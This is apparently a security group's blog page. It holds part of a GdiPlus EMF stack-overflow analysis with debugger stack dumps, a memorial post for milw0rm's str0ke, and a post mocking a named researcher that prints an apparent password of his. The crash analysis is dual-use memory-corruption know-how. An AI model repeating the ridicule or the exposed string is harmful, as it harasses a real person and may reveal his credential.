Our call stack doesn't begin to be corrupted until several functions later when our nulls come up to be pop'd into EIP from a RETN from ESP.

When we return execution back to 0x4ECFFA86, our valid returns on the stack have been used, leaving us with a corrupted stack scenario.

Below is a snapshot of our stack before the overflow occurs:

0007E2B0 |003B0041 A.;.
0007E2B4 |0007E0AC ¬Ã  .
0007E2B8 |00000000 ....
0007E2BC |0007ED40 @í .
0007E2C0 |7C90E900 .é�| ntdll.7C90E900
0007E2C4 |7C9101C0 À‘| ntdll.7C9101C0
0007E2C8 |FFFFFFFF ÿÿÿÿ
0007E2CC |7C9101BB »‘| RETURN to ntdll.7C9101BB from ntdll.7C90E8E6
0007E2D0 |4EC5221F "Ã…N RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap
0007E2D4 |003B0000 ..;.
0007E2D8 |40000060 `..@
0007E2DC |0000001C ...
0007E2E0 |0007E2F0 ðâ .
0007E2E4 |4EC9DD15 �ÉN RETURN to gdiplus.4EC9DD15 from gdiplus.4EC52209
0007E2E8 |0000001C ...
0007E2EC |00000006 ...
0007E2F0 |00009C45 EÅ“..
0007E2F4 ]0007E318 ã .
0007E2F8 |4EC9E783 ƒçÉN RETURN to gdiplus.4EC9E783



(Again, but more details):

0007E294 B90105D5 Õ¹
0007E298 00000000 ....
0007E29C 00000000 ....
0007E2A0 00000000 ....
0007E2A4 003B4108 A;.
0007E2A8 018E0F08 Ž
0007E2AC 003B5108 Q;.
0007E2B0 003B0000 ..;.
0007E2B4 0007E0AC ¬Ã  .
0007E2B8 00000000 ....
0007E2BC 0007ED40 @í .
0007E2C0 7C90E900 .é�| ntdll.7C90E900
0007E2C4 7C9101C0 À‘| ntdll.7C9101C0
0007E2C8 FFFFFFFF ÿÿÿÿ
0007E2CC 7C9101BB »‘| RETURN to ntdll.7C9101BB from ntdll.7C90E8E6
0007E2D0 4EC5221F "Ã…N RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap
0007E2D4 003B0000 ..;.
0007E2D8 40000060 `..@
0007E2DC 0000001C ...
0007E2E0 0007E2F0 ðâ .
0007E2E4 4EC9DD15 �ÉN RETURN to gdiplus.4EC9DD15 from gdiplus.4EC52209
0007E2E8 0000001C ...
0007E2EC 00000006 ...
0007E2F0 000091F7 ÷‘..




Below is a snapshot of our stack after the overflow occurs:

ESP+4 > 003B4108 A;.
ESP+8 > 018E0F08 Ž
ESP+C > 003B5108 Q;.
ESP+10 > 001D0B0B .
ESP+14 > 001D0B0B .
ESP+18 > 001D0B0B .
ESP+1C > 001D0B0B .
ESP+20 > 001D0B0B .
ESP+24 > 001D0B0B .
ESP+28 > 001D0B0B .
ESP+2C > 001D0B0B .
ESP+30 > 001D0B0B .
ESP+34 > 001D0B0B .
ESP+38 > 001D0B0B .
ESP+3C > 001D0B0B .
ESP+40 > 001D0B0B .
ESP+44 > 001D0B0B .
ESP+48 > 001D0B0B .
ESP+4C > 001D0B0B .
ESP+50 > 00000000 ....
ESP+54 >/0007E318 ã .
ESP+58 >|4EC9E783 ƒçÉN RETURN to gdiplus.4EC9E783



After our function has completed, an internal gdiplus function looks for stack corruption. At 0x4ECFDA78, GdiPlus sets our unhandled exception filter to zero (clears it) and then calls our unhandled exception filter, then immediately terminates the process. This is the standard process for handling detected stack overflows.

CALL gdiplus.4ECFD994 Cookie Security Check


Thanks,

- redsand


Example .EMF File can be found here

Str0ke @ Milworm's Funeral is This Friday

To contact us Click HERE
Many of us have wondered where str0ke has been and why milw0rm has not been updated in a good while. I recently was informed that str0ke has been hospitalized due to a strange condition with his heart, which he has had since he was a child.

Sadly....

I've just received information that str0ke @ milw0rm has passed away due to cardiac arrest early this morning at 9:23 AM. We @ blacksecurity are deeply saddened by the loss of a good hearted friend.

We wish nothing but blessing to his wife and 4 children.

RIP str0ke 1974-04-29 - 2009-11-03 09:23

:o(

rip str0ke

smpCTF - Scott Wolchok Blunder

To contact us Click HERE
We had a blast this weekend on smpCTF 2010 Hacker Olympics.

One of the great highlights of this weekend was Scott Wolchok (swolchok)'s hilarious blunder. Be sure to see him at the next defcon security conference.

Scott did not make the registration deadline and was rather unhappy about not being able to participate. Scott told us of his in-depth knowledge in computer security. Pointed out that he taught intro to computer security at University of Michigan.

So, if your going to defcon 18 and happen to see Scott remember alabaster7cunt for a good laugh.

Can't wait for the next one!